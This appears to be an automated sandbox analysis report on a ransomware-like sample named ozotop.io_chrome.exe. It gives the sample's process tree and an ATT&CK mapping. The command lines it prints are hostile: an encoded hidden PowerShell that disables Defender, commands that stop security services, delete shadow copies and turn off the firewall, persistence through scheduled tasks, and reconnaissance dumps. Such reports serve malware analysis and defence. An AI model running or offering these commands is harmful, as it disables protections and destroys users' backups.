PID 6472 wrote to memory of 1168	6472	ozotop.io_chrome.exe	135
PID 6472 wrote to memory of 5424	6472	ozotop.io_chrome.exe	138
PID 6472 wrote to memory of 2076	6472	ozotop.io_chrome.exe	141
PID 6472 wrote to memory of 6304	6472	ozotop.io_chrome.exe	143
PID 6472 wrote to memory of 3756	6472	ozotop.io_chrome.exe	144
PID 6472 wrote to memory of 328	6472	ozotop.io_chrome.exe	145
PID 6472 wrote to memory of 4512	6472	ozotop.io_chrome.exe	148
PID 6472 wrote to memory of 324	6472	ozotop.io_chrome.exe	149
PID 6472 wrote to memory of 4324	6472	ozotop.io_chrome.exe	150
PID 6472 wrote to memory of 4104	6472	ozotop.io_chrome.exe	151
PID 6472 wrote to memory of 5320	6472	ozotop.io_chrome.exe	157
PID 6472 wrote to memory of 3952	6472	ozotop.io_chrome.exe	158
PID 6472 wrote to memory of 6328	6472	ozotop.io_chrome.exe	159
PID 6472 wrote to memory of 5016	6472	ozotop.io_chrome.exe	160
PID 6472 wrote to memory of 4760	6472	ozotop.io_chrome.exe	161
PID 6472 wrote to memory of 5324	6472	ozotop.io_chrome.exe	162
PID 6472 wrote to memory of 4272	6472	ozotop.io_chrome.exe	163
PID 2076 wrote to memory of 2524	2076	cmd.exe	170
PID 328 wrote to memory of 3136	328	cmd.exe	171
PID 4512 wrote to memory of 4728	4512	cmd.exe	172
PID 324 wrote to memory of 4688	324	cmd.exe	173
PID 4728 wrote to memory of 6640	4728	net.exe	174
PID 3756 wrote to memory of 6948	3756	cmd.exe	175
PID 4324 wrote to memory of 5856	4324	cmd.exe	176
PID 6304 wrote to memory of 2800	6304	cmd.exe	177
PID 5016 wrote to memory of 200	5016	net.exe	178
PID 2076 wrote to memory of 3772	2076	cmd.exe	179
PID 6184 wrote to memory of 6112	6184	chrome.exe	180
PID 6184 wrote to memory of 2376	6184	chrome.exe	181
PID 6184 wrote to memory of 2376	6184	chrome.exe	181
PID 6184 wrote to memory of 2864	6184	chrome.exe	182
PID 6184 wrote to memory of 2864	6184	chrome.exe	182
PID 6184 wrote to memory of 6340	6184	chrome.exe	185
PID 6184 wrote to memory of 4164	6184	chrome.exe	186

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://ozotop.io
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:6184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffbbb76c728,0x7ffbbb76c734,0x7ffbbb76c740
    3⤵
    PID:1708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1632,i,16763339353620192633,18055474698674750987,262144 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=1908 /prefetch:2
    3⤵
    PID:5516
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2192,i,1869261368521318298,9111178855970868968,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6264
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2304,i,13928490943586202144,1191511528391713592,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=2712 /prefetch:13
    3⤵
    PID:5704
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,83386545247416056,1043046648862436486,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=3156 /prefetch:1
    3⤵
    PID:7116
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3108,i,8585140425424731172,16934818055899545388,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
    3⤵
    PID:2708
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4060,i,2707614381312718973,8058488611492616191,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=4644 /prefetch:14
    3⤵
    PID:1112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5612,i,5308028348723469085,7246270429357181690,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5604 /prefetch:14
    3⤵
    PID:6112
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5692,i,9285249910843249466,12713958374469851813,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:1
    3⤵
    PID:2376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5704,i,7047040631090037746,17402262876690607602,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:1
    3⤵
    PID:2864
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5756,i,13275931306906090732,7662591386127198864,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5856 /prefetch:1
    3⤵
    PID:6340
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=4692,i,3493531983284769555,8307024594053797938,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:1
    3⤵
    PID:4164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=5684,i,7707537394041061565,11597689728106202243,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5460 /prefetch:1
    3⤵
    PID:1152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5792,i,16587790543275152196,18282377479873811614,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5704 /prefetch:1
    3⤵
    PID:1564
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5980,i,15292642079462484135,4675545185374550129,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5940 /prefetch:1
    3⤵
    PID:4108
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5828,i,14771522676704675151,17980485382210149841,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5756 /prefetch:1
    3⤵
    PID:3780
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3160,i,7404338822221101859,10817439463739180645,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:14
    3⤵
    PID:4336
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6136,i,11904805808399126282,6612669869292375717,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5980 /prefetch:1
    3⤵
    PID:2884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4676,i,9047478135442004348,2912518408691558127,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5816 /prefetch:14
    3⤵
    PID:1772
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4824,i,9158463023501795844,4409545542829941155,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=3876 /prefetch:14
    3⤵
    PID:2776
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=3148,i,10900748446854028449,12554844743848598899,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=3872 /prefetch:14
    3⤵
    PID:2628
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5756,i,2363422615120988527,12063602768840349698,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:7120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4804,i,14140667636212563792,5203356275675760153,524288 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=6044 /prefetch:14
    3⤵
    PID:2464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --metrics-shmem-handle=5804,i,13997782403372864372,17836836395783645444,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=4656 /prefetch:1
    3⤵
    PID:2584
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --metrics-shmem-handle=5868,i,12118867596880763279,14839880346349646633,2097152 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5708 /prefetch:9
    3⤵
    PID:6020
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6212,i,7764526707704652776,16927085219747871823,262144 --field-trial-handle=1912,i,1070713649612262910,6224560411152945788,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:10
    3⤵
    PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5772
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:752
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1788
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:6460
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:5264
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:3200
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4800
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:6776
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:7036
- - C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe"
    3⤵
    PID:3356
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3116
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2360
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:848
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4628
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4108
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4008
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1168
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5424
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2076
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2524
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3772
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:6304
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3756
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:6948
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:328
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3136
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4728
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:6640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:324
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:4688
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4324
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:5856
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4104
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:5320
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:3952
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:6328
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:200
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4760
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:5324
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4272

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1564

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4980

C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
1⤵
PID:1816

C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\ozotop.io_chrome.exe
1⤵
PID:4204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:5848

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery